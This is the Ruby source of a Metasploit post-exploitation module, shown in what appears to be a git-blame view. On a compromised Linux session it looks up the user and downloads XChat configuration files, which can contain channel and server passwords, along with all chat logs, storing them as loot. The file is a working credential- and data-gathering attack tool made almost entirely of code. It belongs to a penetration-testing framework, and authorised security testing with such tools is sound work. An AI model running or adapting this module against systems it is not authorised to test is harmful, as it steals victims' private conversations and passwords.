metasploit-framework/modules/post/linux/gather/enum_xchat.rb

161 lines
3.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather XChat Enumeration',
'Description' => %q{
This module will collect XChat's config files and chat logs from the victim's
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
CONFIGS option can be used to collect information such as channel settings,
channel/server passwords, etc. The CHATS option will simply download all the
.log files.
},
'License' => MSF_LICENSE,
'Author' => ['sinn3r'],
'Platform' => ['linux'],
2013-09-05 18:41:25 +00:00
# linux meterpreter is too busted to support right now,
# will come back and add support once it's more usable.
'SessionTypes' => ['shell', 'meterpreter'],
2013-09-05 18:41:25 +00:00
'Actions' =>
[
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
],
'DefaultAction' => 'ALL'
))
end
def get_file(file)
tries = 0
print_status("#{@peer} - Downloading #{file}")
begin
buf = read_file(file)
buf = '' if buf =~ /No such file or directory/
rescue ::Timeout::Error => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
buf = ''
rescue EOFError => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
buf = ''
end
return buf
end
def whoami
user = cmd_exec("/usr/bin/whoami").chomp
2013-09-05 18:41:25 +00:00
return user
end
def list_logs(base)
list = cmd_exec("ls -l #{base}*.log")
return [] if list =~ /No such file or directory/
files = list.scan(/\d+\x20\w{3}\x20\d+\x20\d{2}\:\d{2}\x20(.+)$/).flatten
return files
end
def save(type, data)
case type
when :configs
type = 'xchat.config'
when :chatlogs
type = 'xchat.chatlogs'
end
data.each do |d|
fname = ::File.basename(d[:filename])
p = store_loot(
type,
'text/plain',
session,
d[:data],
fname
)
print_good("#{@peer} - #{fname} saved as #{p}")
end
end
def get_chatlogs(base)
base << "xchatlogs/"
logs = []
list_logs(base).each do |l|
vprint_status("#{@peer} - Downloading: #{l}")
data = read_file(l)
logs << {
:filename => l,
:data => data
}
end
return logs
end
def get_configs(base)
config = []
files = ['servlist_.conf', 'xchat.conf']
files.each do |f|
vprint_status("#{@peer} - Downloading: #{base + f}")
buf = read_file(base + f)
next if buf.blank?
2013-09-05 18:41:25 +00:00
config << {
:filename => f,
:data => buf
}
end
return config
end
def run
if action.nil?
print_error("Please specify an action")
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
if user.blank?
2013-09-05 18:41:25 +00:00
print_error("#{@peer} - Unable to get username, abort.")
return
end
base = "/home/#{user}/.xchat2/"
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
save(:configs, configs) unless configs.empty?
save(:chatlogs, chatlogs) unless chatlogs.empty?
2013-09-05 18:41:25 +00:00
end
end
=begin
Linux xchat path:
/home/[username]/.xchat2/
2013-08-30 21:28:54 +00:00
* /home/[username]/.xchat2/servlist_.conf
* /home/[username]/.xchat2/xchat.conf
* /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
=end